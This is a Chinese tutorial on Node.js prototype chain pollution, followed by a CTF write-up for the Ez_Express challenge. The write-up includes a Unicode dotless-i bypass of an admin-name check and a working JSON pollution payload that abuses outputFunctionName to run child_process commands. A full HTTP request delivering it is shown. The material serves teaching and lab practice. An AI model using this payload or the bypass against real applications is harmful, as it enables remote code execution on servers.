Nodejs原型链污染

Nodejs与JavaScript和JSON

有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别如果没有node 那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析几乎所有的浏览器都配备了JavaScript的解析功能（最出名的就是google的v8）这也是为什么我们能在f12中直接执行JavaScript的原因而Nodejs则是由这个解析器单独从浏览器中拿出来并进行了一系列的处理最后成为了一个可以在服务端运行JavaScript的环境这里看到一个很好的例子学过java的师傅应该就明白了

那么JSON又是什么呢简单概括一下就是JavaScript的对象表示方法它表示的是声明对象的一种格式由于我们从前端接收到的数据基本都是字符串因此在服务端如果要将这些字符串处理为其他格式比如对象就需要用到JSON了

原型对象（`prototype`）与原型连接点（`proto`）与原型链

在c++或java这些面向对象的语言中我们如果想要一个对象首先需要使用关键字class声明一个类再使用关键字new一个对象出来但是在JavaScript中没有class 以及类这种概念（为了简化编写JavaScript代码，ECMAScript 6后增加了class语法，但class其实只是一个语法糖）在JavaScript有这么两种声明对象的方式为了好理解我们先引入类的思想

person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";

这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

这种方法通过直接实例化构造方法Object()来创建对象

function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue");	通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");

这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

既然是通过实例化Object来创建对象或创建构造函数

在JavaScript中有两个很特殊的对象 Function() 和 Object() 它们两个既是构造函数也是对象作为对象是不是应该有一个“类”去作为他们的模板呢

对于Object()来说要声明这么一个构造函数我们可以使用关键字function来创建（在底层使用function创建一个函数其实就相当于这个过程）

function Object()
{

}
在底层为
var Object = new Function();

那么对于Function自己这个对象他是怎么来的呢如果用Function.__proto__和Function.prototype进行比较发现二者是全等的所以Function创造了自己也创造了Object 所以JavaScript中所有函数都是对象而对象是通过函数创建的因此构造函数.prototype.__proto__ 应该是Object.prototype 而不是Function.prototype Function的作用是创建而不是继承

那么提到了__proto__和prototype我们就来说说这两个是什么东西

首先我们要了解以下概念

__proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性

比如

1	person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性而Object()我们刚才提到了是由Function创建来的一个构造函数那么Object就天生有了Object.prototype

某一对象的 __proto__指向它的prototype（原型对象）也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype
JavaScript使用prototype链实现继承机制
构造函数xxx.prototype是一个对象 xxx.prototype也有自己的__proto__属性并且可以继续指向它的的prototype
Object.prototype.proto最终指向null 这也是所有原型链的终点
从一个对象的__proto__不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null 这一条链子就叫做原型链

有条件的师傅也可以把下面的视频合集看一下对理解原型和原型链有很大的帮助

4_Function与Object的特殊性_哔哩哔哩_bilibili

如果我们有如下代码：

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

那么按照上述说法就有如下结构

对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：

在对象son中寻找last_name
如果找不到，则在son.__proto__中寻找last_name
如果仍然找不到，则继续在son.__proto__.__proto__中寻找last_name
依次寻找，直到找到null结束。

原型链污染

举个栗子

// 这个对象直接实例化Object()
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型（即Object）
foo.__proto__.bar = 2

// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

这里由于修改了foo.__proto__.bar 也就是修改了Object.bar 因此在后续的实例化对象中新的对象会继承这一属性造成了原型链污染

在实际应用中，哪些情况下可能存在原型链能被攻击者修改的情况呢？

我们思考一下，哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可

看下面代码一个简单的对象clone

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {  
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这里执行后发现虽然两个对象成功clone 但是Object()并没用被污染这是因为在创建o2时 __proto__是已经存在于o2中的属性了解析器并不能将这个属性解析为键值所以要用JSON去修改代码（前面我们说了 JSON是JavaScript的对象表示方法可以将字符串转换为对象）这样就可以使__proto__被成功解析成键名了

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

漏洞复现

[GYCTF2020]Ez_Express

进入环境之后是一个登录页面测试之后发现存在www.zip源码泄露开始审计index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

看下面两段代码

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

只有用admin登录才会return keyword 否则返回undefined 返回undefined就会弹窗forbid word 如果username经过toUpperCase后不能与原来的匹配或password错误就会弹窗error passwd 这也是为什么题中说用户名只支持大写

再看这段就很恶心如果username为ADMIN就不能登录又不让用admin 又得用admin登录这里就用到了JavaScript大小写的漏洞

原理移步p神博客 Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

1	if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}

所以用ADMıN来绕过注意不是ADMiN 中间那个i是一个奇怪的字符把username输入ADMıN直接注册就可以了（题目环境怪怪的有的时候ADMıN 不行就试试admın）登录进去还给了flag的位置

这里试了试没啥用继续看源码上面提到了 merge clone操作可以控制键值和键名从而达到污染

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }

往下看找到调用clone的位置

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

也就是说我们可以在action路由下通过请求体来进行污染原型链污染的位置找到了接下来就是要找到可以用来控制键名和键值的对象

看到这段

1
2
3

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

render函数应该不陌生在模板注入攻击（SSTI）中很常见这里将回显req的outputFunctionNmae渲染到了index中那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢代码跟下来我们发现并没有outputFunctionName这个东西也就是说它是我们可以用来污染原型链的载体如果把Object的prototype中加上键名为outputFunctionName 键值为恶意payload的属性那么在进行模板渲染时是不是就会执行我们的恶意payload

但是我们考虑一个问题如何去修改Object的prototype （确实是可以的但是有点麻烦下面参考文章的最后一篇就是直接修改Object的prototypr）我们重新回到这段代码

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

发现请求体被clone到了req.session.user.data中对于req.session.user这个对象来说它的__proto__属性是不是就是Object的prototype 所以我们可以修改了这个对象的__proto__从而达到目的

req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

SSTI的payload我也不是很懂反正原理都是不断调用原型对象最后找到一个可以用来rce的函数 payload和CVE-2019-10744是一样的直接搬来用了

1	{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

污染成功后在info路由下调用res.outputFunctionName时就像上面调用son.last_name的过程一样最终调用到了Object的outputFunctionName 并且要让__proto__为键名要用JSON格式所以要用burp拦包添加content type（在进行POST传参时必须有该头）放个包做个参考记得路由和传参方式也要改再传payload

POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}